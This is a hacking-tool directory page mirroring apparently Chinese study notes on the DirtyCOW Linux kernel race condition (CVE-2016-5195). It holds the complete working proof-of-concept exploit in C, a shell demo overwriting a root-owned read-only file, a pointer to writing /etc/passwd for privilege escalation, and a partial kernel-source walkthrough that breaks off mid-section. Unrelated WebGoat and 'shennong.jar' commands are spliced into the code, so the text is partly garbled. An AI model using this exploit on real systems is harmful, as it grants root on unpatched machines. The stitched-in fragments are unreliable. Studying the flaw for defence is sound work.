Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2016-5195 — DirtyCOW 笔记 | Kitploit
Tools/GitHubGitHub/asuka39/cve-2016-5195
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHubasuka39/cve-2016-5195

CVE-2016-5195

DirtyCOW 笔记

View Repository
2 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2016-5195 DirtyCOW

PoC

  • Modified from dirtycow.github.io```c #include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>

void *map; int f; struct stat st; char *name;

void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

int main(int argc, char *argv[]) { if (argc < 3) { (void)fprintf(stderr, "%s\n", "usage: dirtyc0w target_file new_content"); return 1; } pthread_t pth1, pth2;

f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1];

map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0); printf("mmap %zx\n\n", (uintptr_t)map);

pthread_create(&pth1, NULL, madviseThread, argv[1]); pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }

Taking WebGoat 8.0.0.M25 as an example, you can use the following command:

```bash
docker pull webgoat/goatandwolf:v8.0.0.M25
docker run -p 8080:8080 -p 9090:9090 -t webgoat/goatandwolf:v8.0.0.M25

Then visit http://localhost:8080/WebGoat/ to start using it.

For existing files, you can use the -s parameter to specify a file:

java -jar shennong.jar -s /path/to/source/file

This way, Shennong will attempt to analyze the file and output the results.``` $ sudo su

echo "READ ONLY" > flag.txt

chmod 0404 flag.txt

exit

$ $ ll flag.txt -r-----r-- 1 root root 10 flag.txt $ echo "aaaaaa" > flag.txt Permission Denied $ $ gcc -pthread dirty.c -o dirty $ ./dirty flag.txt aaaaaa mmap 7f1a35bc4000

procselfmem -2094967296

madvise 0 $ cat flag.txt aaaaaa

A common exploitation technique is to write to `/etc/passwd` with unauthorized privileges to modify the root user or change user permissions for privilege escalation.

## Analysis

### Exploit Analysis

Let's first look at what the exploit does.```c
int main(int argc, char *argv[]) {
  if (argc < 3) {
  	(void)fprintf(stderr, "%s\n","usage: dirtyc0w target_file new_content");
	return 1; 
  }
    
  pthread_t pth1, pth2;
  f = open(argv[1], O_RDONLY);
  fstat(f, &st);
  name = argv[1];

  map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
  printf("mmap %zx\n\n", (uintptr_t)map);

  pthread_create(&pth1, NULL, madviseThread, argv[1]);
  pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
  • First, call pthread to create two threads
  • Then fopen opens the read-only target file argv[1]
  • mmap the file into memory (address random), MAP_PRIVATE creates a Task-private memory mapping. If another Task tries to write to this memory, the process will first copy a copy before writing, thus avoiding spending a lot of time and space copying the entire memory space when forking child processes or spawning threads, while also ensuring that concurrent memory operations between Tasks do not affect each other. This is CopyOnWrite.
  • Then start two threads, one executes madviseThread, the other executes procselfmemThread

Then look at the execution bodies of the two threads

  • One thread calls madvise on the file mapping to tell the kernel about the usage of the mapped memory or shared memory. MADV_DONTNEED indicates that this memory area will no longer be used, and the kernel can release it.
  • The other thread opens /proc/self/mem with read-write permissions. This file is the file mapping of the process's own virtual memory, and then continuously attempts to write the target information to the file.```c void *madviseThread(void *arg) { char str; str = (char)arg; int i, c = 0; for(i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); }

void *procselfmemThread(void *arg) { char str; str = (char)arg;

int f = open("/proc/self/mem", O_RDWR); int i, c = 0; for(i = 0; i < 100000000; i++) { lseek(f, (uintptr_t)map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n\n", c); }

Ultimately, after the two threads bombarded the kernel, a race condition vulnerability appeared, and `procselfmemThread` successfully wrote to the read-only file.

### Kernel Analysis

- Prerequisite: `mmap` only creates a memory mapping on the vma, but does not actually place the mapped file into a physical page frame. Therefore, when we first attempt to `write` to the file, a page fault exception will inevitably be triggered.
- The kernel version chosen here is 4.4.

#### What happens when we write

##### mem_rw

We start analyzing from `write`. Any operation on a file must go through the virtual table `file_operations` registered by the file's filesystem on the VFS. Files on `/proc` are implemented by procfs. Looking up `proc_mem_operations`, we can see that `write` is bound to `mem_write`.```c
static const struct file_operations proc_mem_operations = {
	.llseek		= mem_lseek,
	.read		= mem_read,
	.write		= mem_write,
	.open		= mem_open,
	.release	= mem_release,
};

mem_write is a wrapper of mem_rw (with the write flag set to 1). The main flow of mem_rw is:

  • First, __get_free_page allocates a temporary free page as a buffer.

  • If it is a write operation, copy_from_user copies the data to be written to the temporary page.

  • Then access_remote_vm reads the target data into the free page (read) or writes the content of the buffer to the target address (write).

    • The term "remote" here means that the current process may read or write memory-mapped files of other processes, implying that the process may access the address space of other processes. This is different from other memory filesystems.
  • If it is a read operation, the data read into the free page in the previous step is written back to the user's buffer.```c static ssize_t mem_rw(struct file *file, char __user *buf, size_t count, loff_t *ppos, int write) { struct mm_struct *mm = file->private_data; unsigned long addr = *ppos; ssize_t copied; char *page;

    if (!mm) return 0;

    page = (char *)__get_free_page(GFP_TEMPORARY); // 申请临时空闲页面 if (!page) return -ENOMEM;

    copied = 0; if (!atomic_inc_not_zero(&mm->mm_users)) goto free;

    while (count > 0) { int this_len = min_t(int, count, PAGE_SIZE); // 本次读取/写入数据长度,单次最大为PAGE_SIZE

      if (write && copy_from_user(page, buf, this_len)) {		// 若是写操作,从用户空间拷贝待写数据到临时空闲页面
      	copied = -EFAULT;
      	break;
      }
    
      this_len = access_remote_vm(mm, addr, page, this_len, write);	// 读取/写入数据到临时空闲页面
      if (!this_len) {
      	if (!copied)
      		copied = -EIO;
      	break;
      }
    
      if (!write && copy_to_user(buf, page, this_len)) {	// 若是读操作,将读取到的数据从临时空闲页面拷贝数据到用户空间
      	copied = -EFAULT;
      	break;
      }
    
      buf += this_len;
      addr += this_len;
      copied += this_len;
      count -= this_len;
    

    } *ppos = addr;

    mmput(mm); free: free_page((unsigned long) page); // 释放临时空闲页面 return copied; }

##### __access_remote_vm

`access_remote_vm` is a wrapper around `__access_remote_vm`, with the main flow being:
Download Tool